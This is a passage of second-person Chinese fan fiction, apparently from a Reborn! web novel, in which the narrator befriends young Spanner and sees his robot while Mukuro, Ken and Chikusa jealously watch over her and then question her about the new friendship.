见你不动,斯帕纳恍然,他收回糖果,低着脑袋耐心解开包装,斯帕纳上前一步把糖果递入你的嘴巴,“这个是我爷爷自己做的糖果,甜度也是调整过的。给你吃的这个是蜜瓜味的,里面还加了点桃子。” “一开始可能会觉得有些怪,但其实很好吃。” 你还没反应过来,糖果便送入了你嘴里。和斯帕纳说的一样,蜜瓜的香甜伴着浅淡的桃子味,虽然一开始有些怪,但确实不难吃。不一会儿,甜滋滋的味道蔓延了你整个口腔。 斯帕纳观察着你的表情,见你没有露出讨厌的表情,面上不显,但斯帕纳还是悄悄松了口气。 ——还好你不讨厌。 “春也现在有开心点嘛?” “嗯。”比起含着糖,你更喜欢咬着吃。牙齿用力,硬糖被你咬得嘎吱作响,你很喜欢咬碎糖果时、那一瞬间碎裂清脆的碎裂声,难以言喻的解压感伴着碎裂而出的高度甜味,会让你的心情瞬间愉悦。 “你爷爷做的糖果很好吃。” 听到你的夸赞,斯帕纳莫名补充了句:“我现在也在学着做糖果了。” 见你不明所以地看着他,怀着自己也不清楚的小心思,斯帕纳说道:“我以后也做出更加好吃的糖果,到时候,春也喜欢什么口味都可以和我说,我会做给春也吃。” “我很期待那一天的到来,如果是斯帕纳的话,一定可以做的更好。” 你一直都是这么觉得的,连厉害的机器人都是自己一个人做出来,你觉得没有什么事斯帕纳做不到的。 斯帕纳没想到会得到你这么信赖的夸赞,耳根发烫,他的脸又红了起来,他甚至觉得就算自己未来承包你所有的糖果也不是问题。 见你情绪舒缓,斯帕纳想起你刚刚的墨模样,没忍住心里的担忧,他又问了一句:”如果春也有什么担忧或者困难可以跟我说,我可以帮助你。” “而且,我的爷爷也是一个很厉害的人。” 斯帕纳大约是很想让你相信他,他一脸认真地看向你,微微下垂的狗狗眼里是满满的坚定。看到斯帕纳这个样子,你内心的烦躁舒缓不少,迟疑了下,你说出了自己刚刚的怀疑。 “我发现,有人在窥视我。” 就算那道目光平和而非阴暗,你依旧厌恶,你并不会因为目光的主人没有对你产生恶意就对他感激涕零,你只会从胃里开始泛起生理性的恶心。你不喜欢陌生人恶心作呕的窥探和喜爱,就像你从不会因为实验室里的怪物们偶尔对你的关心而原谅他们。 你没有斯德哥尔摩综合征,所以你只把那群研究人员当成泯灭人性的怪物,而是还是最低劣最下等最恶心的怪物。 ——你早就将他们开除了人籍。 “在我踏上雪堆开始奔跑时,我就察觉到了那道视线。” 聪明的斯帕纳一下就明白了你的意思,听着你的描述,和你预想的不同,斯帕纳生气的气焰越来越小。等你回过神,你看到的就是斯帕纳无措的眼神。 “是不是吓到你了?” 你看着斯帕纳,你忽然觉得自己应该控制下情绪,你好像吓到他了。 可你总是无法控制住你的情绪,无论好坏,你都喜欢把它们完全地发泄出来。 斯帕纳摇了摇头,他小心翼翼地捏着你的衣角,斯帕纳无措地看着你,“我想,那道视线应该是我。” “对不起,我不知道你讨厌。我只是恰好从店铺玻璃门看到了你的身影,我以为我们会再次错过,所以想要先多看看你。” “你经过绿灯往这边来的时候,我还没有反应过来,直到你走进这家店铺,我才确认,你没有忘记我。” 当然,如果你没有走进这家店铺,斯帕纳也会以另一种方式与你偶遇,但他很幸运,你主动走入了你们第一次约会的地点。 说着,像小狗一样,斯帕纳可怜兮兮地低下脑袋,“春也,对不起,你打我吧。” 意大利的男人是不是都很会调情呢? 你看着斯帕纳,他无措又可怜地眨着水汪汪的眼睛,和一般人不同,他的眼睛是罕见的青色,光线下,青色虹膜看上去透着冷淡和疏离,但在你看过去时,你只发现一片真诚。 “那你为什么不和我打招呼?”你双手叉腰,斯帕纳一眨不眨地看着你动作,长长的睫毛往他眼底打落一片阴影,斯帕纳敏锐察觉出你没有生他的气,手指悄悄往你手的方向移动,斯帕纳小心用尾指蹭了蹭你的手指。 “我太笨拙了。”斯帕纳低声说道,优雅低沉的意语缓慢从他嘴里吐出,他直直对视着你的眼睛,“看到春也的那一瞬间,我太开心了,开心到、我忘记该如何正常和一个人打招呼,我能想到最简单直白的沟通方式,就是注视你。” “如果,在我注视你的同时,你能看到我的眼神,我会比做出数学题还要高兴一万倍。” 不,不止。 如果那双漂亮的灰蓝眼睛里能真真切切、永永远远地出现他的身影,斯帕纳想,那绝对是最棒的事情,而想看最棒的事情,那不是理所当然的吗? 斯帕纳并非敷衍地和你说话,相反,他的话语里充满了真诚和真心。 他不是故意的,他也不知道你会如此排斥注视这件事。 “春也,是不是已经不想和我做朋友了?”早慧又敏锐的斯帕纳不光在学习机器上很擅长,他也懂得人际交往的诸多事宜,只是他自己更喜欢接触自己感兴趣的机器人,但这并不代表,他对其他一窍不通。 斯帕纳自然看出你强硬外表下对他的心软,斯帕纳很开心你不讨厌他,于是,他不动声色地勾住你的尾指,小小的斯帕纳抬眼看着你,青色的眼瞳异常纯粹干净,里面只倒影了你一个人的影子。 你抿了下嘴,看着斯帕纳可怜兮兮的小狗模样,你犹豫了下,还是没忍心对他说些重话,最终,你只是硬邦邦地别过脸:“下一次不要这样了。” “太好了,春也原谅我了!”斯帕纳立刻像只欢快小狗扑到了你身上,他的手指环抱住你瘦弱的身躯,你整个人都被斯帕纳抱入怀里。也是这时,你才发现,虽然斯帕纳看着瘦瘦小小的一只,实际骨架很大。 这就是外国人和你的体型差距吗?埋入斯帕纳暖乎乎的胸膛时,你没忍住在心里想到,这还只是小孩子呢,等到青春期你根本不敢相信这群小男孩会窜多高。到时候,你别是他们之间最小的一只啊! 往后踉跄了几步,你伸手拍了拍斯帕纳的后背,看到斯帕纳的这个反应,你愈发坚定自己心里的想法。果然,斯帕纳只是一个单纯的好孩子。毕竟,沉迷理工的男孩子在某些方面总会异常单纯和迟钝,你觉得斯帕纳就是这样的存在。 “那春也现在愿意去我家观摩一下我的机器人吗?” 斯帕纳后知后觉松开你,红晕重新漫上他的脖颈、耳根、脸蛋,眨着亮晶晶的眼睛,斯帕纳期待地看着你。 “我一直都很期待春也的到来,今天我爷爷不在家,所以春也不用担心家里有人会不自在。不过,如果哪天春也愿意见我爷爷,我也会很开心。” “那我就去看看吧。”你答应了斯帕纳的邀请,果不其然,对方的眼睛更亮了,像有星辰碎落其中,斯帕纳弯起眼睛。 “我也很期待斯帕纳说的那个机器人。” 第39章 斯帕纳的家很大。 换好干净的拖鞋, 你站在玄关门口观察,斯帕纳家的风格和你想象中的意大利装修风格不太一样。 斯帕纳见你还愣在原地,他拉着你的手来到他房间, 发现你在认真观察, 斯帕纳后知后觉感到了不好意思, 他立马跑前跑后地开始整理自己摊在床上的衣服。 “我的房间很少这么乱, 今天是因为着急出门,所以没有来得及收拾。” 这个年纪的孩子已经有了自尊心, 尤其是在自己有好感女生的面前, 就连斯帕纳也难得在意起自己的形象。 “我觉得还好啦。” 斯帕纳的房间宁没有像他说的那样糟糕,相反, 比起以前男生宿舍评比大图里,斯帕纳简直能称得上是一股清流。 “我只是觉得,斯帕纳家里的风格和我想象得不太一样。” “大概是因为我其实是一个英国人。”斯帕纳从他的小房间慢慢搬出一个大东西,他认真回答着你的问题:“我和爷爷是从英国来到意大利生活的,比起意大利这边简约浪漫的风格, 我爷爷的审美更趋向英国上个世纪的建筑风格。” “OK!” 斯帕纳擦了下额头的汗珠,他兴奋地朝你展现他的机器人, “这就是我一直想给春也介绍的机器人, 虽然它还不够完美,但我很满意它。” 一开始你就发现斯帕纳一直在捣鼓什么,直到他真正把自己的机器人展现在你面前,你才发现自己一直没有来欣赏斯帕纳的机器人是一件多么大的损失。 帅气的机器人比你们两个人还要高,斯帕纳站在机器人面前,就像一只小小的团子,你很难想象他是怎么搬得动那么大一个机器人的。 “是材质问题,我没有用很多超重的金属, 我想试一下用最简单的材料能不能做成我设计图里的机器人。” 提起他最擅长的领域,斯帕纳肉眼可见多了几分傲气和自信。 “它真的好酷!”你惊叹地上前,扭头看向斯帕纳,你的眼睛还有些舍不得从机器人身上移开,“我可以摸摸它吗?” “当然可以。”斯帕纳拿出一个遥控器,“不用担心会弄坏它,这家伙很牢固。而且,它还可以遥控做事。” “不过,以后我想要创造一个智能语音的机器人。” 提起自己的未来,斯帕纳的眼中显然又出现了更加浓重的火焰。 在你和斯帕纳测试玩耍机器人时,和柿本千种、城岛犬汇合的六道骸回到家后,没有发现你的身影,眉头一皱,六道骸再次熟练地开始探查你的状态。 确认你的身体没有异样后,六道骸简单附身观察。 哦呀,这是…… 借着你的身体,六道骸看到了你和陌生男孩相谈甚欢的画面,眸色不自觉变得幽深,六道骸忍住了彻底附身你解决人的想法,他没有选择及时离开,而是默默观察你们在做什么。 真是奇怪,他都没有从你口中听到这个陌生人的消息呢,kufufu他现在可是很好奇你们见面的原因呢。 第40章 一个机器人, 还是一个可以遥控操纵的,会帮你拿东西的机器人,你真的很难拒绝这样酷炫的存在。 你谨慎遥控着机器人, 命令下达, 它动作僵硬地拿起纸巾, 伴着吱呀吱呀的机械声, 机器人缓缓朝你滚动前进。 “它拿过来了!” 你紧张地往斯帕纳身边靠了靠,注意到你的反应, 斯帕纳捏起草莓送到你嘴边, 你下意识张嘴咬下,甜甜的味道瞬间蔓延整个口腔。 但紧随而来的, 是古怪的阴冷感,你下意识顿住动作。 注意到你的不对,斯帕纳疑惑看你:“怎么了?” “……没什么。” 你咽下草莓,但古怪的窥视感依旧存在,明明最开始都没有。你抬头看了眼斯帕纳的房间, 到处都是电子零件和一些半成品小型机器人,你完全没有找到能藏人的地方。 “你爷爷什么时候回来?”像是想起什么, 你忽然扭头看向斯帕纳。 “还早呢, 爷爷今天和朋友出去钓鱼,一般都会到傍晚才到家。”斯帕纳继续投喂你,“今天的午饭和晚饭需要我们自己解决,不过不用担心,交给我。” 那就不是斯帕纳的家里人,你扭头又咬下斯帕纳递过来的草莓。 …… 又来了。 在你吃下草莓的那一刻,奇怪的窥伺感更加强烈了。但更诡异的是,你并不排斥这股窥伺感, 甚至,你隐隐还觉得有些熟悉和心安。 ——那是和任何人都不一样的存在感,犹如从地狱轮回里爬出来的幽暗影子,又像无处不在的雾,你根本无法从中逃脱。 而更诡异的是,你发现自己竟然不排斥,你只是疑惑这道藏匿于雾中的窥伺主人究竟是谁。 不怪你没联想到六道骸,因为你从未见过六道骸用特别在意又阴暗的视线注视过你。 会是谁呢?在你思考的同时,六道骸也在心里思索。 看你和那个陌生人的熟练程度,你们根本不像今天才认识,六道骸下意识开始排查你的每日行程。 你现在每天都和他们待在一起,根本没有空闲时间去认识陌生人,而你又格外排斥除他们之外的人…… ……唯一的一次,大概只有那次,他们带你一起去买服装,你却意外和他们分开了相当长的一段时间。 基本推算出你们第一次相遇的时间,六道骸脸上没什么情绪地继续默默盯着你。偶尔,他的注意力会放在那个不断用草莓投喂你的、没有边界感的陌生人身上。 隐藏在雾里和你身体里的视线过过于缥缈,斯帕纳根本就没注意到这股窥伺,他只以为是你在看他。 甚至,迎着你的视线,六道骸发现斯帕纳还脸红了。 …… kufufufu…定力差劲的意大利男人。 六道骸嫌弃地移开视线,以他优秀的记忆力和视力,六道骸早就记下了他的模样。 等他先摸清你对这家伙的态度,他在好好和犬、千种他们讨论讨论。 瞥了眼斯帕纳幼稚的模样,六道骸冷哼一声。 Kufufufu…果然,意大利的男人个个都包藏祸心,就连肮脏的黑手党也是遍布这片土地…… 等他消灭所有的黑手党…不,不需要等到那么久远,这次搬家,他立马就可以带你远离这里。不过再次之前,他会先把身后的小尾巴处理干净。 自从上次操控兰兹亚杀光他家族的所有人后,六道骸心里总有股古怪的预感。 在你和六道骸同步思索的时候,机器人来到了你面前,轻微的机械声响瞬间唤你回神,你低头,外形像可爱的小机器人缓慢抬头,它的身体中间还穿梭着金属质感的线条。小机器人机械式地抬手,它歪了歪头:“请使用。” 你惊讶瞪圆眼睛,机器人口中发出的竟然是斯帕纳的声音! “是录音功能,我录入了几个简单的通用回复。”斯帕纳看出了你的疑惑,他回答道:“我原本的预先是让它自动语音回复,但做到最关键的一步,这些零件不足以支撑我的想法。” “我不想废弃它,所以我改了个方式。” 每一个机器人,都是斯帕纳的小宝藏,他喜欢自己亲手创造的东西。 在古怪晦涩的注视下,你和斯帕纳玩了一上午的机器人。 咳咳,准确的说,是测试! 除开阴魂不散跟着你的奇怪窥伺感,你在斯帕纳家度过了相当愉悦的一个上午,机器人的话题并没有让你感到枯燥,相反,在斯帕纳耐心认真地讲解下,你了解了很多你以前从未涉及的领域。 玩了一上午,虽然没有体力消耗,但你和斯帕纳还是饿了。 你摸了摸肚子,斯帕纳立刻超级上道地向你发出邀请: “我们一起出去吃午餐吧,我知道一家餐厅,里面的食物味道很不错,我爷爷经常喜欢带我去那。” 斯帕纳向你介绍了餐厅里面的几个特色菜,他描述地很真实,你瞬间被吸引。见你没有反对的意见,斯帕纳欢快拉着你走出大门。 只可惜,意外总在预计划之外,你们的这顿午餐吃不上了。 ——你看到了六道骸,他看起来,似乎并没有和你们共同午餐的想法。 “春也,过来。” 你顺着声音传来的方向抬头望去,六道骸不知什么时候来到了这里,旁边还站着犬和千种。 他们站在树荫下,从树顶落下的阴影挡住了骸骸、犬和千种的脸,你看不清大家眼底真实的情绪。 “我们回家了,春也。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 城岛犬和柿本千种还是从六道骸口中得知的你的位置, 当即,根本不用多加思考,他们立刻来到了你所在的地点。 你和斯帕纳相谈甚欢的画面很快映入他们的眼帘, 城岛犬磨了磨牙, 他上上下下扫视了眼那个小豆丁。 头发没他的好看, 身材也瘦瘦弱弱的, 城岛犬完全不觉得这家伙有哪点能吸引你。 ——一定是那个混蛋引诱你的! 柿本千种站在树下,破碎的阳光生冷地洒在他身上, 干净的中指托了托眼镜, 柿本千种目光幽幽地看向你。注意到你和斯帕纳交缠融合在一起的影子,柿本千种的目光更冷了些。 城岛犬率先向你走了过来, 残留着血腥味的手搭在你肩膀,眼睛像残忍的野兽尖锐地竖起,城岛犬攻击性十足地盯着斯帕纳,像炸毛的恶犬,城岛犬凶巴巴地拉着你远离斯帕纳。 “那家伙是谁?!”城岛犬恶声恶气地问话, 眼睛却紧紧盯着还在那个讨厌的金发小鬼。 嘁,撞发色了。 听到城岛犬的话, 斯帕纳并没有露出什么特别的表情, 眼睛看向你,斯帕纳情绪平稳地回答:“我是斯帕纳,春也的新朋友。” 城岛犬:“哈?新朋友?” 他可从来没听你提过。 柿本千种也慢慢来到你身边,他们一左一右站在你面前,柿本千种迎着斯帕纳微凝的视线,他平静牵住你的手,“我们没有听春也说过你。” 斯帕纳的目光暗沉了一瞬,但很快, 意识到你厌恶这种视线,趁你还未察觉,他瞬间恢复正常,你没发现,但犬和千种立马发现了。 他们太熟悉那种目光了。 不能宣之于口的、会让你感到恶心的、必须竭力克制的晦涩不明的情绪和视线……明明有在拼命克制,但黏腻的、晦涩的、阴暗的情绪就像跗骨之蛆,时时刻刻侵蚀他们的理智。 尽管他们平时表现出来的都很正常,但柿本千种和城岛犬清楚,任何有关你的事情,他们都会变得异常敏感。 不能接受……柿本千种也不会接受,除犬和骸大人以外的人。 而城岛犬和柿本千种持有相同的心情。 你是他们的。 你们才是真正的家人。 几双眼睛齐刷刷盯着你,像藏匿于丛林中的小动物忽然冒出亮到吓人的眼睛,他们都在等待着你的反应,尤其是斯帕纳。 你看不见隐藏在平静表面的暗潮涌动,鼻尖耸动,你闻到了熟悉的血腥味。皱起眉头,你嫌弃地推了推死命凑到你身边的两个人。 “犬和千种的味道太难闻了啦!” 你的一句话瞬间让原本冷凝的氛围放松不少,城岛犬立刻反应很大地嗅了嗅自己:“哪有,我们都换过衣服了!” 柿本千种指尖微顿,往日最为体贴的人,今天竟然顽强地选择站在你身边,没有离开半步,注意到你的视线,柿本千种悄悄别过脸,他小声补充道:“我洗过手了,但是时间仓促,我们没来得及洗澡。” 解决完黑手党组织,城岛犬和柿本千种想起你对血腥味敏感,他们提前先在回家的路上换好了干净的衣服,本以为回到家就能看到你兴奋迎接的身影,没想到他们满怀期待回到家,率先得到的竟然是你结交了新朋友的事情。 本来,他应该洗得干干净净来见你的,柿本千种低头,指尖上,不小心沾到的脏污血腥都被他擦拭得干干净净,但残留的血腥味却没那么容易消散。 你哼了一声,还想再说些什么,但看到城岛犬和柿本千种脸下淡淡的青色,你不情不愿地松口:“仅此一次。” 瞬间,两个人眼睛一齐亮了起来。 斯帕纳看着你们融洽和谐的相处模式,他垂下眸子,黑色的睫羽又长又密,落在眼睛上的浅淡阴影藏匿了他一部分情绪,斯帕纳重新抬眼看向你们,眸光明明灭灭,不知道在想什么。 回归正题,你再次扭头看向城岛犬和柿本千种,经过刚刚的话题后,你发现城岛犬和柿本千种的情绪又正常了不少。 柿本千种不用说,他看上去情绪依旧平和稳定,城岛犬虽然不爽,但见你看过来,他还是忍下了内心的烦躁。 观察着这两个人的反应,确认他们没有明显的厌恶情绪后,你稍稍松了口气。虽然交友是你的自由,但你勉强还是在意犬和千种的反应的,比起才刚认识几天的人,果然还是犬、千种和骸骸更重要些。 你又看向斯帕纳,他的小眼睛正一眨不眨盯着你,连带着额前的小卷毛都乖巧不少。 他藏起心里古怪的情绪,斯帕纳抬眼期待又不安地看向你。 这样自顾自就把你认定为自己单方面的挚友,斯帕纳不好意思的同时又忍不住猜测你的想法。 那你呢,你有没有把他当成朋友…… ……你会当着他们的面承认他的身份吗? 虽然斯帕纳没说话,但你能看出,斯帕纳很期待你也能像他认同你一样认同他的身份。 看着这样的斯帕纳,你难以让他那双期待的小眼神黯淡下光芒,更何况,你也确实不讨厌斯帕纳。 城岛犬和柿本千种还在等你的回答,所以,你没怎么犹豫就认同了斯帕纳的话。 “没错,斯帕纳是我新认识的朋友。” 虽然认识的时间短暂,但你并不讨厌他。 你扭头看向城岛犬和柿本千种,你也很在意城岛犬和柿本千种的感受,观察着他们的表情,发现没在上面看到反感厌恶的情绪后,你又补充了一句: “上次忘记和你们说了,但是斯帕纳人很好哦,他还会做特别厉害的机器人。” 既然已经认定了斯帕纳是你的朋友,你也想把他带给犬、千种和骸骸认识。 “感觉千种说不定会和斯帕纳聊得来呢。”你想抽出手招呼斯帕纳过来,察觉到你的意图,犬和千种瞬间握紧你的手。 你努力挣脱了几下,无果,你疑惑扭头,城岛犬和柿本千种也跟着投来疑惑的目光。 “哼,机器人那种东西,我也可以。”城岛犬不屑撇嘴,区区机器人有什么好值得你刮目相看的,你要是喜欢,城岛犬完全可以给你cos真人版的。 柿本千种听到你承认了你和斯帕纳的朋友关系,他沉了沉眸子,没有说话。 “春也,他们也是你的朋友吗?” 斯帕纳敛下眼眸,这三个人和你是什么关系呢? ——高到不正常的敌意,明里暗里朝他投来的危险神情,藏在平静表面下的过度保护欲…… 斯帕纳又看向还没走过来的六道骸。他很确定,其中最危险的视线,来自于那个人。 长长的刘海遮挡住六道骸的右眼,斯帕纳只能看到他裸露出来的那只靛青色眼睛,明明是最纯粹的蓝色,但斯帕纳只觉得那双眼睛如深邃的大海一样深不见底。 不知为何,那个人站在阴影下,迟迟没有走过来。但偏偏,他的存在感又强烈到无法让斯帕纳无视。 是自信在你心里的位置吗?斯帕纳习惯性开始分析,青色的虹膜在阳光的直射下愈发淡漠,斯帕纳想,就算如此,可过于迟钝的机器人,也会在胜利前夕投出局。 偏过脸不去看他,斯帕纳重新看向你,连带着你身边的城岛犬和柿本千种也映入他眼底,斯帕纳无意识皱了皱鼻子。 这群人,很危险。 斯帕纳并没有想要干涉你交友的想法,但是这些家伙给他的感觉实在太危险了。 不加掩饰的血腥气息在干净的空气里飘散,长期生活在意大利,斯帕纳看过不少黑手党争斗的场面,尽管他刻意避开很多,但这并不代表,斯帕纳对血腥和杀气会迟钝。 这群家伙,都不是什么好人。斯帕纳非常肯定,甚至,他们可能跟黑手党也有着千丝万缕的联系,总之,这三个人绝不会是无害普通人的人设! 毕竟,他们连遮掩都没有遮掩。 尤其是,他注意到了你皱鼻的动作。斯帕纳很确定,你也嗅到了这股味道。 之前吃糖的时候,斯帕纳就发现了,你对气味很敏感,你基本闻一下就能确认糖果的味道。所以,更令斯帕纳在意的,是你对他们的态度。 城岛犬和柿本千种正大光明地站在你身边,两个人的手都幼稚地牵着你,像是在宣布主权。斯帕纳当然不会被他们的行为刺激到,但是,他看到了,你对他们深深的依恋和在意。 …… 莫名地,感觉有些刺眼。 忽略内心古怪的想法,斯帕纳近乎执着地盯着你,他更想从你口中得到真实的回答。 你摇了摇头,还没等斯帕纳眼睛亮起,你虽然有些嫌弃这两个人身上的血腥味,但还是回握住了城岛犬和柿本千种的手。 “不,他们是我的家人。” 不是朋友,是更加亲密的家人。 朋友到最后有可能会分道扬镳,但家人不会,家人永远都是家人。 家人…… 斯帕纳默默在心里咀嚼着你对他们的称呼,嘴角不自觉抿紧,斯帕纳努力忽视自己的怪异。 你回望六道骸,他还站在树荫下默默注视你,像一只暗中观察的黑猫,你看不清他眼底的神色。 你的两只手都被牵着,无法朝六道骸招手,你只好偏头看向城岛犬和柿本千种。 “骸骸怎么不过来?” “骸大人让我们先来找你,他在订餐厅。” “我们走吧,春也。”柿本千种冷冷扫了眼站在原地的斯帕纳,他拉着你朝骸大人走去,轻飘飘的话语落在你耳畔,依旧温柔,“骸大人也等了很久。” 你顺着柿本千种和城岛犬的动作离开,但你还记得斯帕纳——你新承认的朋友,所以你扭头朝斯帕纳笑了下,“斯帕纳再见,下一次,我期待你口中更加优秀的作品。” “哈?你还有下一次?!” “犬也可以跟着来啊。” “我才不要,谁会对那种东西感兴趣!” “哦~是吗?那我就自己一个人……”你故意拉长尾音,果不其然,城岛犬立刻像炸毛的猫,他情绪激烈地反驳你。 “不可以!” 踏出的一脚被迫收回,斯帕纳愣愣站在原地,他根本就没有立场阻拦你随他们离开。听着你和那两个人打打闹闹的熟稔画面,斯帕纳忽然想吃糖了。甜味能让他的大脑保持冷静和活力,但是,斯帕纳的糖已经吃完了。 …… 这种感觉实在太糟糕了,斯帕纳忍不住想。他也不知道自己是在说糖没了,还是你走了。 第42章 饭桌上, 大家并没有提起不愉悦的事扰乱胃口,等到你们一起回到家,来自城岛犬、柿本千种和六道骸的审讯才刚刚开始。 三个人都很擅长审讯, 但柿本千种又要比城岛犬好一些, 因为城岛犬总是喜欢把人破坏得乱七八糟的, 不过, 他们自然不会将这种对待黑手党的审讯手法用在你身上。 昏暗的房间内,你坐在毛茸茸的地毯上, 腿上盖着小毯子, 你的手里还拿着柿本千种刚刚替你泡的热水袋。滚烫的热水袋被你用小毯子包裹起来,隔着小毯子, 你惬意地享受着温暖,。 至少,在六道骸的眼里,你这待遇,说是在度假也不为过。甚至, 城岛犬还给你拿了零食放在一旁。Kufufu…犬这家伙,是忘记了你们刚刚吃过晚饭的事实了吗? “为什么不开灯?”你有些疑惑地看着端端正正围坐在你身边的三个人, “难道你们想要讲鬼故事吗?” “当然不是那种事啦!!”城岛犬磨了磨牙, “你会联想到鬼故事才奇怪吧,看不出来吗?这很明显是审问啊!” “审问……我吗?”你疑惑看向自己缩在温暖毛毯里的样子,旁边还贴心备上了各种零食和饮料,你又看向冷冰冰盘腿接触冷空气的男孩们。你沉默,总觉得,比起你,还是这三个人更像被拷问的样子呢。 “当然!”城岛犬超级凶巴巴地盯着你。 思考两秒后,你得出结果, 你完全没有需要审问的地方,就连千种每天给你准备的螃蟹也在你们完美的保密措施下,隐藏得天衣无缝。 你理直气壮地看向城岛犬,你把手头的黄桃罐罐递给他,“打不开。” “春也严肃点,这是一场很可怕的拷问!”城岛犬一边凶巴巴地恐吓你,一边乖巧地替你打开超级难拧的黄桃罐罐,“还有,冬天不要吃这么多冷的,不要仗着你现在有热水袋就肆无忌惮!” 你点了点头,表示自己明白了。于是,你表情严肃地接过黄桃罐罐,你表情严肃地吃下了一瓣黄桃,你表情严肃地做出评价。 ——黄桃又甜又脆又冰,超级好吃! “不是这种严肃啊!”城岛犬抓了抓头发,他倒是想直接问你,但是一看到你在乖巧啃黄桃,瞬间,城岛犬又莫名其妙地不忍心打扰你了。 柿本千种看着城岛犬叹了口气,他看向你,柿本千种相当有审问技巧地拷问:“春也新朋友,为什么没和我们说?春也是不在意我们了吗?” 听到柿本千种的话,你瞬间了然,是斯帕纳的遗留问题。 “斯帕纳和我一共见过两次面。”黑暗里,你看不大清大家的表情,你只能听到自己咀嚼黄桃的声音,你默默咽下黄桃没有再接着吃,“第一次见面是在买衣服的时候,我们走散时,我意外遇到的,当时斯帕纳带着我逃离了人海,而且,他见到我并不会有什么特别的反应。” “第二次见面就是今天,我也没想到我们会能在这么大的地方再次相遇。” 你把你和斯帕纳相遇的全过程全都和他们讲了一遍,只除了,你省略了斯帕纳的视线跟踪。 “所以,春也是因为斯帕纳的特殊才会和他玩吗?”柿本千种听你不断说着你和斯帕纳的相知相遇全过程,明明想听的是他,但听得刺耳的也是他。 不过是个趁他们不在偷家的老鼠…… “也有这方面的因素啦。”你思考了会,得出回答:“毕竟我们才见过两次面,斯帕纳就是凭着这个才让我印象深刻的,之后会愿意和他做朋友是因为他的人品,而且斯帕纳制作的机器人真的很帅气!” 说完这句话,你看着大家不太对劲的反应,后知后觉,你意识到犬、千种和骸骸好像不太喜欢你的新朋友。 “犬,千种,骸骸是不喜欢斯帕纳吗?” 昏暗的环境下,六道骸的眼睛闪烁着诡谲的亮光,他静静看着你,六道骸古怪笑了一声,“那春也呢。” “春也会和我们一起,也是因为这个原因吗?” “不。”这一次,你坚定地否决了六道骸的话,“因为是你们,所以我才会愿意和你们成为家人。” 你终于明白了刚刚犬和千种脸上的表情是什么了,他们也在不安,你异常坚定地握住他们的手。黑暗里,四个人的小手叠放在一起,寂静的夜晚,你清脆的声音在房间内显得异常清晰。 “就算,犬、千种和骸骸未来会被吸引,也没有关系。” “因为是犬、千种和骸骸,所以没有关系。” “我最喜欢大家了。” 安静几秒,不同的声音缓缓响起。 “不要小看我们啊,春也!” “kufufu…我可不是那群蠢货呢。” “我也最喜欢春也。” …… “可恶,千种好狡猾!!” 第43章 六道骸他们最近又开始忙起来了, 先是突然的搬家,你甚至都没有来得及和斯帕纳道别,就直接被三个人一起打包进入了新家。 和之前的忙碌有些不太一样, 这一次, 六道骸、城岛犬和柿本千种都是三个人一同开始出任务了。 “我也要去!!”你不满地跟前跟后, 到玄关处, 不出所料,你又被他们拦了下来。连着几天都是这样, 心底积攒的怒气越来越大, 你紧紧攥着六道骸的手腕。 “不是说好我们是家人的吗?为什么要把我排除在外!” 可恶,这一次, 你绝对不会再被他们糊弄住了。 你也不是对六道骸他们做的事无知无觉,想起大家对黑手党的仇恨,你大概也明白他们做的事和你以往接触过的完全不一样,但是你不在乎。 只要你们在一起,无论六道骸他们想做什么, 你的立场永远偏向他们。 你执拗地看着六道骸,后者如他曾经做过的每一次一样, 他轻轻拂开你的手, “kufufufu…还没到春也出现的时机呢。对付那些人,有我们足够了。” 柿本千种自然上前,他理了理你凌乱的头发,“春也是我们的压轴,而压轴,不会轻易出场。” “是啊是啊,春也可是最重要的!”城岛犬从身后压了过来,他抬手揉乱千种刚刚替你打理好的头发, 城岛犬笑容嚣张,“那几个小喽啰,我们很快就会解决干净的啦!春也好好在家等我们回来嘛~” 几个人三个两下就把你哄得不找南北,和之前一样,你又被夸得晕乎乎的,想起自己从实验室里带出来的那些东西,你得意地昂着下巴,“当然,如果是我出马,你们的任务进度绝对会加速完成。” “对,春也是最厉害的。”柿本千种一点也不敷衍,他说得很真挚,你轻易就相信了他们的话。 “kufufufu…所以,春也好好待在家里,想出去就在脑海里叫我的名字,我会回应你。”三叉戟轻轻敲了两下还在和你恋恋不舍的两个人,六道骸抬眼看向你,“也别忘了带上武器。” “那骸骸、犬、千种要早点回来啊。”你有些不舍地勾上六道骸的小拇指,虽然这几天骸骸他们忽然变成了三个人一起出任务,但每天晚上,他们还是默契地保持至少让一个人回家的习惯。 ……只是,不知道为什么,你最近心里总是会不安。 “不用担心我们。”城岛犬笑嘻嘻地打开大门,明亮的光线顷刻间洒在他们三个身上,你站在里面,璀璨明亮的光线略过你,你听到六道骸不轻不重地哼笑了声,柿本千种拉扯下帽檐,托了托眼镜,他也跟着走了出去。 “一路顺风。”向来都是诅咒的嘴第一次说出了祝福的话语,你没忍住,顺着他们的脚步走出去,你张开口:“我在家里等你们回来。” “好——”城岛犬面向你往后走,他朝你挥了挥手,“回来给春也带伴手礼,到时候我们叫上笨蛋千种一起打游戏。” “犬别输的哭鼻子就好。”柿本千种淡淡回复,无视耳边城岛犬不满的抱怨声,柿本千种没忍住回头看了你一眼。 你就乖乖站在门口,眼巴巴看着他们离开,柿本千种忽然很想转身跑回你面前抱住你。 垂在身侧的手指蜷曲又放松,柿本千种知道现在还不是时候。等到他们完成了目标,到那时,柿本千种想,哪怕是骸大人,也会停下仇恨的火焰,慢慢和他们一起停留在你身边。 但是现在,仇恨的火焰还在燃烧,痛苦与复仇的欲望总会在幸福的间隙冒出,不光是他们,柿本千种知道,你也是这样。望不见光亮的夜晚里,你也会被残存的噩梦魇住,好在有骸大人,你很快就能挣脱噩梦,而后再次沉入黑甜的梦境。 …… “每次都是春也看着我们离开啊。”城岛犬忽然开口。 “哦呀,犬是想和春也一起出任务了吗?”六道骸意味不明地看了眼春也,果然,你就一直站在那注视着他们离开。指尖微顿,六道骸神态自然地收回视线。 “当然不是。” 如果是最开始,城岛犬说不定会有这个想法,但是现在,城岛犬再没有想让你完全进入里世界的想法。你不喜欢杀人,这是他们都心知肚明的事,更何况,还有心底那点说不清道不明的保护欲作祟,所以,直白如城岛犬,也从未和你详细说过他们具体的任务。 尤其是,最近他总觉得自己好似感知到了什么。以防万一,城岛犬他们更不会让你涉足危险。 城岛犬抓了抓脑袋,他也说不清自己心底究竟是什么情绪。 “我只是觉得,如果我们能一直一直和春也在一起就好了。” 六道骸古怪笑了两下,“确实,现在这个方法是慢了点。” “不用心急,我总会找到最快速的方法。” 